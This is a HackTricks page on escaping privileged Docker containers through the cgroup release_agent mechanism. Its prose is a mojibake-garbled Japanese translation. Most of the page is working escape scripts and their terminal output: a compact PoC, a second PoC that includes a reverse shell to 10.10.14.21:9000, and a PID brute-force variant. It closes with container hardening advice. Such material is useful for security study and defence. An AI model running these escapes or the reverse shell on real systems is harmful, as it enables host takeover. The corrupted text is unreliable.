24 KiB
âïž HackTricks Cloud âïž -ðŠ Twitter ðŠ - ðïž Twitch ðïž - ð¥ Youtube ð¥
-
ãµã€ããŒã»ãã¥ãªãã£äŒæ¥ã§åããŠããŸããïŒ HackTricksã§äŒç€Ÿã宣äŒãããã§ããïŒãŸãã¯ãææ°ããŒãžã§ã³ã®PEASSãå ¥æããããHackTricksãPDFã§ããŠã³ããŒããããã§ããïŒSUBSCRIPTION PLANSããã§ãã¯ããŠãã ããïŒ
-
The PEASS FamilyãèŠã€ããŠãã ãããç¬å çãªNFTã®ã³ã¬ã¯ã·ã§ã³ã§ãã
-
å ¬åŒã®PEASSïŒHackTricksã®ã°ããºãæã«å ¥ããŸãããã
-
ð¬ Discordã°ã«ãŒããŸãã¯telegramã°ã«ãŒãã«åå ããããTwitterã§ãã©ããŒããŠãã ããðŠ@carlospolopm.
-
**ãããã³ã°ã®ããªãã¯ãå ±æããã«ã¯ãhacktricksãªããžããªãšhacktricks-cloudãªããžããª**ã«PRãæåºããŠãã ããã
--privileged
ãã©ã°
{% code title="åæPoC" %}
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o;
echo $t/c >$d/release_agent;
echo "#!/bin/sh $1 >$t/o" >/c;
chmod +x /c;
sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
{% code title="第äºã®PoC" %}
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
#For a normal PoC =================
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#===================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/10.10.14.21/9000 0>&1" >> /cmd
chmod a+x /cmd
#===================================
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
head /output
{% endcode %}
--privileged
ãã©ã°ã¯ãé倧ãªã»ãã¥ãªãã£äžã®æžå¿µãåŒãèµ·ããããã®ãšã¯ã¹ããã€ãã¯ãããæå¹ã«ããç¶æ
ã§Dockerã³ã³ãããèµ·åããããšã«äŸåããŠããŸãããã®ãã©ã°ã䜿çšãããšãã³ã³ããã¯ãã¹ãŠã®ããã€ã¹ã«å®å
šãªã¢ã¯ã»ã¹æš©ãæã¡ãseccompãAppArmorãããã³Linuxã®æ©èœå¶éããããŸããã
å®éã«ã¯ããã®æ¹æ³ã§Dockerã³ã³ããããè±åºããããã«å¿ èŠãªæš©éã¯ã次ã®ãšããã§ãã
- ã³ã³ããå ã§rootãšããŠå®è¡ããŠããå¿ èŠããããŸãã
- ã³ã³ããã¯
SYS_ADMIN
Linuxæ©èœãæã€ããã«å®è¡ãããŠããå¿ èŠããããŸãã - ã³ã³ããã«ã¯AppArmorãããã¡ã€ã«ããªããããŸãã¯
mount
ã·ã¹ã³ãŒã«ãèš±å¯ããããã«èšå®ãããŠããå¿ èŠããããŸãã - ã³ã³ããå ã§cgroup v1ä»®æ³ãã¡ã€ã«ã·ã¹ãã ãèªã¿æžãå¯èœã«ããŠã³ããããŠããå¿ èŠããããŸãã
SYS_ADMIN
æ©èœã¯ãã³ã³ãããmount
ã·ã¹ã³ãŒã«ãå®è¡ã§ããããã«ããŸãïŒman 7 capabilitiesãåç
§ïŒãDockerã¯ããã©ã«ãã§å¶éãããã»ããã®æ©èœã§ã³ã³ãããèµ·åããŸãããã»ãã¥ãªãã£äžã®ãªã¹ã¯ã®ããã«SYS_ADMIN
æ©èœã¯æå¹ã«ããŸããã
ããã«ãDockerã¯ããã©ã«ãã§docker-default
AppArmorããªã·ãŒã§ã³ã³ãããèµ·åããŸãããmount
ã·ã¹ã³ãŒã«ã®äœ¿çšãé²æ¢ããŸããããšãã³ã³ãããSYS_ADMIN
ã§å®è¡ãããŠããŠãã§ãã
ãã®ãã¯ããã¯ã«å¯ŸããŠè匱ãªã³ã³ããã¯ã次ã®ãã©ã°ã§å®è¡ãããå Žåã§ãïŒ--security-opt apparmor=unconfined --cap-add=SYS_ADMIN
Proof of Conceptã®è§£èª¬
ãã®ãã¯ããã¯ã䜿çšããããã®èŠä»¶ãç解ããProof of Conceptã®ãšã¯ã¹ããã€ããæŽç·Žãããã®ã§ããããè¡ããšã«èª¬æããŠããã®åäœã瀺ããŸãã
ãã®ãšã¯ã¹ããã€ããããªã¬ãŒããããã«ã¯ãrelease_agent
ãã¡ã€ã«ãäœæããcgroupå
ã®ãã¹ãŠã®ããã»ã¹ãçµäºãããããšã§release_agent
ãåŒã³åºãããcgroupãå¿
èŠã§ãããããå®çŸããããã®æãç°¡åãªæ¹æ³ã¯ãcgroupã³ã³ãããŒã©ãããŠã³ãããåcgroupãäœæããããšã§ãã
ãããè¡ãããã«ã/tmp/cgrp
ãã£ã¬ã¯ããªãäœæããRDMA cgroupã³ã³ãããŒã©ãããŠã³ãããåcgroupïŒãã®äŸã§ã¯ãxããšããååïŒãäœæããŸãããã¹ãŠã®cgroupã³ã³ãããŒã©ããã¹ããããŠããããã§ã¯ãããŸãããããã®ãã¯ããã¯ã¯ã»ãšãã©ã®cgroupã³ã³ãããŒã©ã§åäœããã¯ãã§ãã
ãããmount: /tmp/cgrp: special device cgroup does not existããšè¡šç€ºãããå Žåã¯ãRDMA cgroupã³ã³ãããŒã©ãã»ããã¢ãããããŠããªãããã§ãããããä¿®æ£ããã«ã¯ãrdma
ãmemory
ã«å€æŽããŠãã ãããRDMAã䜿çšããŠããã®ã¯ãå
ã®PoCãããã«å¯ŸããŠã®ã¿èšèšãããŠããããã§ãã
cgroupã³ã³ãããŒã©ã¯ã°ããŒãã«ãªãªãœãŒã¹ã§ãããç°ãªãæš©éã§è€æ°åããŠã³ãããããšãã§ãã1ã€ã®ããŠã³ãã§è¡ãããå€æŽã¯ä»ã®ããŠã³ãã«ãé©çšãããŸãã
以äžã«ããxããšããåcgroupã®äœæãšãã®ãã£ã¬ã¯ããªãªã¹ãã瀺ããŸãã
root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
root@b11cf9eab4fd:/# ls /tmp/cgrp/
cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks x
root@b11cf9eab4fd:/# ls /tmp/cgrp/x
cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasks
次ã«ããxãcgroupã®ãªãªãŒã¹æã«cgroupéç¥ãæå¹ã«ããããã«ãnotify_on_release
ãã¡ã€ã«ã«1ãæžã蟌ã¿ãŸãããŸããRDMA cgroupã®ãªãªãŒã¹ãšãŒãžã§ã³ããå®è¡ããããã«ããã¹ãäžã®release_agent
ãã¡ã€ã«ã«ã³ã³ããå
ã§åŸã§äœæãã/cmd
ã¹ã¯ãªããã®ãã¹ãæžã蟌ã¿ãŸãããããè¡ãããã«ãã³ã³ããã®ãã¹ããã¹ãäžã®/etc/mtab
ãã¡ã€ã«ããååŸããŸãã
ã³ã³ããã«è¿œå ãŸãã¯å€æŽãããã¡ã€ã«ã¯ãã¹ãäžã«ååšããã³ã³ããå ã®ãã¹ãšãã¹ãäžã®ãã¹ã®äž¡æ¹ããå€æŽããããšãå¯èœã§ãã
ãããã®æäœã¯ä»¥äžã®ããã«è¡šç€ºãããŸãïŒ
root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent
ãã¹ãäžã«äœæããäºå®ã® /cmd
ã¹ã¯ãªããã®ãã¹ã«æ³šæããŠãã ããã
root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd
次ã«ã/cmd
ã¹ã¯ãªãããäœæããŸãããã®ã¹ã¯ãªããã¯ps aux
ã³ãã³ããå®è¡ãããã®åºåãã³ã³ããå
ã®/output
ã«ä¿åããŸãããã¹ãäžã®åºåãã¡ã€ã«ã®ãã«ãã¹ãæå®ããŸããæåŸã«ãã¹ã¯ãªããã®å
容ã衚瀺ããããã«/cmd
ã¹ã¯ãªãããå°å·ããŸãã
#!/bin/bash
ps aux > /output
cat /cmd
root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd
root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd
root@b11cf9eab4fd:/# chmod a+x /cmd
root@b11cf9eab4fd:/# cat /cmd
#!/bin/sh
ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output
æåŸã«ãæ»æãå®è¡ããããšãã§ããŸãããŸããå³åº§ã«çµäºããããã»ã¹ããxãã®åcgroupå
ã§çæããŸãã/bin/sh
ããã»ã¹ãäœæãããã®PIDããxãã®åcgroupãã£ã¬ã¯ããªå
ã®cgroup.procs
ãã¡ã€ã«ã«æžã蟌ãããšã§ããã¹ãäžã®ã¹ã¯ãªããã/bin/sh
ã®çµäºåŸã«å®è¡ãããŸãã次ã«ããã¹ãäžã§å®è¡ãããps aux
ã®åºåãã³ã³ããå
ã®/output
ãã¡ã€ã«ã«ä¿åããŸãã
root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@b11cf9eab4fd:/# head /output
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.1 1.0 17564 10288 ? Ss 13:57 0:01 /sbin/init
root 2 0.0 0.0 0 0 ? S 13:57 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_gp]
root 4 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_par_gp]
root 6 0.0 0.0 0 0 ? I< 13:57 0:00 [kworker/0:0H-kblockd]
root 8 0.0 0.0 0 0 ? I< 13:57 0:00 [mm_percpu_wq]
root 9 0.0 0.0 0 0 ? S 13:57 0:00 [ksoftirqd/0]
root 10 0.0 0.0 0 0 ? I 13:57 0:00 [rcu_sched]
root 11 0.0 0.0 0 0 ? S 13:57 0:00 [migration/0]
--privileged
ãã©ã° v2
以åã® PoC ã¯ãã³ã³ãããããŠã³ããã€ã³ãã®ãã¹ããã¹å
šäœãå
¬éããã¹ãã¬ãŒãžãã©ã€ãïŒäŸïŒoverlayfs
ïŒã§æ§æãããŠããå Žåã«ã¯åé¡ãããŸããããæè¿ããã¹ããã¡ã€ã«ã·ã¹ãã ã®ããŠã³ããã€ã³ããæ瀺çã«é瀺ãããŠããªãããã€ãã®èšå®ã«ééããŸããã
Kata Containers
root@container:~$ head -1 /etc/mtab
kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
Kata Containersã¯ããã©ã«ãã§ã³ã³ããã®ã«ãŒããã¡ã€ã«ã·ã¹ãã ã9pfs
äžã«ããŠã³ãããŸããããã«ãããKata Containersä»®æ³ãã·ã³å
ã®ã³ã³ãããã¡ã€ã«ã·ã¹ãã ã®å Žæã«é¢ããæ
å ±ã¯å
¬éãããŸããã
* Kata Containersã«ã€ããŠã¯ãå°æ¥ã®ããã°èšäºã§è©³ãã説æããŸãã
ããã€ã¹ããããŒ
root@container:~$ head -1 /etc/mtab
/dev/sdc / ext4 rw,relatime,stripe=384 0 0
ç§ã¯ã©ã€ãç°å¢ã§ãã®ã«ãŒãããŠã³ããæã€ã³ã³ãããèŠãŸããããããããã³ã³ããã¯ç¹å®ã® devicemapper
ã¹ãã¬ãŒãžãã©ã€ãã®èšå®ã§å®è¡ãããŠãããšæããŸããããã¹ãç°å¢ã§ãã®åäœãåçŸããããšãã§ããŸããã§ããã
ä»£æ¿ PoC
æããã«ããããã®å Žåã«ã¯ãã¹ããã¡ã€ã«ã·ã¹ãã äžã®ã³ã³ãããã¡ã€ã«ã®ãã¹ãç¹å®ããããã®ååãªæ å ±ããããŸããã®ã§ãFelixã® PoC ããã®ãŸãŸäœ¿çšããããšã¯ã§ããŸãããããããå°ãã®å·¥å€«ã䜿ã£ãŠãã®æ»æãå®è¡ããããšã¯ã§ããŸãã
å¿ èŠãªå¯äžã®éèŠãªæ å ±ã¯ãã³ã³ããå ã§å®è¡ãããã¡ã€ã«ã®ãã¹ãã«å¯Ÿããå®å šãªãã¹ã§ããã³ã³ããå ã®ããŠã³ããã€ã³ããããããå€å¥ããããšãã§ããªãå Žåã¯ãä»ã®å Žæãæ¢ãå¿ èŠããããŸãã
Proc ãææžç
Linux ã® /proc
æ¬äŒŒãã¡ã€ã«ã·ã¹ãã ã¯ãã·ã¹ãã äžã§å®è¡ãããŠãããã¹ãŠã®ããã»ã¹ãäŸãã°ã³ã³ããå
ã®ããã»ã¹ãå«ããã«ãŒãã«ã®ããã»ã¹ããŒã¿æ§é ãå
¬éããŸããããã¯ãã³ã³ããå
ã§ã³ãã³ããå®è¡ãããã¹ãäžã®ããã»ã¹ã® /proc
ãã£ã¬ã¯ããªã«ã¢ã¯ã»ã¹ããããšã§ç€ºãããšãã§ããŸãã
root@container:~$ sleep 100
root@host:~$ ps -eaf | grep sleep
root 28936 28909 0 10:11 pts/0 00:00:00 sleep 100
root@host:~$ ls -la /proc/`pidof sleep`
total 0
dr-xr-xr-x 9 root root 0 Nov 19 10:03 .
dr-xr-xr-x 430 root root 0 Nov 9 15:41 ..
dr-xr-xr-x 2 root root 0 Nov 19 10:04 attr
-rw-r--r-- 1 root root 0 Nov 19 10:04 autogroup
-r-------- 1 root root 0 Nov 19 10:04 auxv
-r--r--r-- 1 root root 0 Nov 19 10:03 cgroup
--w------- 1 root root 0 Nov 19 10:04 clear_refs
-r--r--r-- 1 root root 0 Nov 19 10:04 cmdline
...
-rw-r--r-- 1 root root 0 Nov 19 10:29 projid_map
lrwxrwxrwx 1 root root 0 Nov 19 10:29 root -> /
-rw-r--r-- 1 root root 0 Nov 19 10:29 sched
...
ã¡ãªã¿ã«ã/proc/<pid>/root
ããŒã¿æ§é ã¯ãç§ãéåžžã«é·ãéæ··ä¹±ããŠãããã®ã§ããããªã/
ãžã®ã·ã³ããªãã¯ãªã³ã¯ãæçšãªã®ãç解ã§ããŸããã§ããããmanããŒãžã®å®éã®å®çŸ©ãèªãã§ããç解ã§ããŸããã
/proc/[pid]/root
UNIXãšLinuxã¯ãchroot(2)ã·ã¹ãã ã³ãŒã«ã«ãã£ãŠèšå®ãããããã»ã¹ããšã®ãã¡ã€ã«ã·ã¹ãã ã®ã«ãŒãããµããŒãããŠããŸãããã®ãã¡ã€ã«ã¯ãããã»ã¹ã®ã«ãŒããã£ã¬ã¯ããªãæãã·ã³ããªãã¯ãªã³ã¯ã§ãããexeãfd/*ãšåãããã«åäœããŸãã
ãã ãããã®ãã¡ã€ã«ã¯åãªãã·ã³ããªãã¯ãªã³ã¯ã§ã¯ãããŸãããããã»ã¹èªäœãšåããã¡ã€ã«ã·ã¹ãã ã®ãã¥ãŒïŒåå空éãšããã»ã¹ããšã®ããŠã³ãã®ã»ãããå«ãïŒãæäŸããŸãã
/proc/<pid>/root
ã·ã³ããªãã¯ãªã³ã¯ã¯ãã³ã³ããå
ã®ä»»æã®ãã¡ã€ã«ãžã®ãã¹ãçžå¯Ÿãã¹ãšããŠäœ¿çšã§ããŸãïŒContainer
root@container:~$ echo findme > /findme
root@container:~$ sleep 100
root@host:~$ cat /proc/`pidof sleep`/root/findme
findme
ãã®æ»æã®èŠä»¶ã¯ãã³ã³ããå ã®ãã¡ã€ã«ã®å®å šãªãã¹ãã³ã³ãããã¹ãã«å¯ŸããŠç¥ãå¿ èŠãããã³ã³ããå ã§å®è¡ãããŠãã_ä»»æã®_ããã»ã¹ã®pidãç¥ãå¿ èŠã«å€æŽãããŸãã
Pid Bashing
ããã¯å®éã«ã¯ç°¡åãªéšåã§ããLinuxã§ã®ããã»ã¹IDã¯æ°å€ã§ãããé 次å²ãåœãŠãããŸããinit
ããã»ã¹ã«ã¯ããã»ã¹ID 1
ãå²ãåœãŠããããã以éã®ããã»ã¹ã«ã¯å¢åã®IDãå²ãåœãŠãããŸããã³ã³ããå
ã®ããã»ã¹ã®ãã¹ãããã»ã¹IDãç¹å®ããããã«ããã«ãŒããã©ãŒã¹ã®å¢åæ€çŽ¢ã䜿çšãããŸãã
root@container:~$ echo findme > /findme
root@container:~$ sleep 100
ãã¹ã
root@host:~$ COUNTER=1
root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done
root@host:~$ echo ${COUNTER}
7822
root@host:~$ cat /proc/${COUNTER}/root/findme
findme
ãã¹ãŠãçµã¿åããã
ãã®æ»æãå®äºããããã«ããã«ãŒããã©ãŒã¹æè¡ã䜿çšããŠãã¹ /proc/<pid>/root/payload.sh
ã® pid ãæšæž¬ããããšãã§ããŸããåå埩ã§æšæž¬ããã pid ãã¹ã cgroups ã® release_agent
ãã¡ã€ã«ã«æžã蟌ã¿ãrelease_agent
ãããªã¬ãŒããåºåãã¡ã€ã«ãäœæããããã©ããã確èªããŸãã
ãã®æè¡ã®å¯äžã®æ³šæç¹ã¯ããããã©ã®ãããªåœ¢ã§ããã決ããŠåŸ®åŠã§ã¯ãªããpid ã®æ°ãéåžžã«é«ãããå¯èœæ§ãããããšã§ããé·æéå®è¡ãããããã»ã¹ã¯å®è¡ãããªããããä¿¡é Œæ§ã®åé¡ã¯çºçããªãã¯ãã§ãããç§ã®èšèãåŒçšããªãã§ãã ããã
以äžã® PoC ã¯ãcgroups ã® release_agent
æ©èœã䜿çšããŠç¹æš©ã³ã³ããããã®è±åºã®æåã® PoC ãããäžè¬çãªæ»æãæäŸããããã«ããããã®æè¡ãå®è£
ããŠããŸã:
#!/bin/sh
OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &
# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__
# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}
# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done
# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
ç¹æš©ã³ã³ããå ã§PoCãå®è¡ãããšã次ã®ãããªåºåãåŸãããã¯ãã§ãã
root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200
Done! Output:
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 11:25 ? 00:00:01 /sbin/init
root 2 0 0 11:25 ? 00:00:00 [kthreadd]
root 3 2 0 11:25 ? 00:00:00 [rcu_gp]
root 4 2 0 11:25 ? 00:00:00 [rcu_par_gp]
root 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events]
root 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd]
root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
...
ã³ã³ãããå®å šã«äœ¿çšãã
Dockerã¯ããã©ã«ãã§ã³ã³ãããå¶éããŠããŸãããããã®å¶éãç·©ãããšã»ãã¥ãªãã£äžã®åé¡ãçºçããå¯èœæ§ããããŸãã--privileged
ãã©ã°ã®å®å
šãªæš©éãæããªããŠããè¿œå ã®æš©éã®åœ±é¿ãèªèããå
šäœçã«æå°éã®æš©éã«å¶éããããšãéèŠã§ãã
ã³ã³ãããå®å šã«ä¿ã€ããã«ã¯ä»¥äžã®ããšã«æ³šæããŠãã ããïŒ
--privileged
ãã©ã°ã䜿çšããªãã§ãã ããããŸããã³ã³ããå ã«Dockerãœã±ãããããŠã³ãããªãã§ãã ãããDockerãœã±ããã¯ã³ã³ããã®çæãå¯èœã«ãããããå¥ã®--privileged
ãã©ã°ãæã€ã³ã³ãããå®è¡ãããªã©ããã¹ãã®å®å šãªå¶åŸ¡ãç°¡åã«ååŸããæ¹æ³ã§ãã- ã³ã³ããå ã§rootãšããŠå®è¡ããªãã§ãã ãããç°ãªããŠãŒã¶ãŒãŸãã¯ãŠãŒã¶ãŒããŒã ã¹ããŒã¹ã䜿çšããŠãã ãããã³ã³ããå ã®rootã¯ããŠãŒã¶ãŒããŒã ã¹ããŒã¹ã§ãªããããããŠããªãéãããã¹ããšåãã§ããäž»ã«Linuxã®ããŒã ã¹ããŒã¹ãæ©èœãããã³cgroupsã«ãã£ãŠå¶éãããŠããŸãã
- ãã¹ãŠã®æ©èœãåé€ïŒ
--cap-drop=all
ïŒããå¿ èŠãªæ©èœã®ã¿ãæå¹ã«ããŸãïŒ--cap-add=...
ïŒãå€ãã®ã¯ãŒã¯ããŒãã§ã¯æ©èœã¯å¿ èŠãããŸããããããããè¿œå ããããšã§æ»æã®ç¯å²ãåºãããŸãã - ããã»ã¹ãç¹æš©ãååŸããã®ãé²ãããã«ããno-new-privilegesãã»ãã¥ãªãã£ãªãã·ã§ã³ã䜿çšããŠãã ãããããšãã°ãsuidãã€ããªãä»ããŠç¹æš©ãååŸããããšããããŸãã
- ã³ã³ããã«å©çšå¯èœãªãªãœãŒã¹ãå¶éããŠãã ããããªãœãŒã¹å¶éã¯ããµãŒãã¹æåŠæ»æãããã·ã³ãä¿è·ããã®ã«åœ¹ç«ã¡ãŸãã
- seccompãAppArmorïŒãŸãã¯SELinuxïŒãããã¡ã€ã«ã調æŽããŠãã³ã³ããã§å©çšå¯èœãªã¢ã¯ã·ã§ã³ãšã·ã¹ã³ãŒã«ãæå°éã«å¶éããŠãã ããã
- å ¬åŒã®Dockerã€ã¡ãŒãžã䜿çšããããããããåºã«ç¬èªã®ã€ã¡ãŒãžããã«ãããŠãã ãããããã¯ãã¢ãä»èŸŒãŸããã€ã¡ãŒãžãç¶æ¿ãŸãã¯äœ¿çšããªãã§ãã ããã
- ã»ãã¥ãªãã£ããããé©çšããããã«å®æçã«ã€ã¡ãŒãžãåãã«ãããŠãã ãããããã¯èšããŸã§ããããŸããã
åèæç®
- https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
- https://twitter.com/_fel1x/status/1151487051986087936
- https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
âïž HackTricks Cloud âïž -ðŠ Twitter ðŠ - ðïž Twitch ðïž - ð¥ Youtube ð¥
-
ãµã€ããŒã»ãã¥ãªãã£äŒæ¥ã§åããŠããŸããïŒ HackTricksã§äŒç€Ÿã宣äŒãããã§ããïŒãŸãã¯ãPEASSã®ææ°ããŒãžã§ã³ãHackTricksã®PDFãããŠã³ããŒããããã§ããïŒSUBSCRIPTION PLANSããã§ãã¯ããŠãã ããïŒ
-
The PEASS FamilyãèŠã€ããŠãã ãããç¬å çãªNFTã®ã³ã¬ã¯ã·ã§ã³ã§ãã
-
å ¬åŒã®PEASSïŒHackTricksã°ããºãæã«å ¥ããŸãããã
-
ð¬ Discordã°ã«ãŒããŸãã¯Telegramã°ã«ãŒãã«åå ããããTwitter ðŠ@carlospolopmããã©ããŒããŠãã ããã
-
ãããã³ã°ã®ããªãã¯ãå ±æããã«ã¯ãhacktricksãªããžããªãšhacktricks-cloudãªããžããªã«PRãæåºããŠãã ããã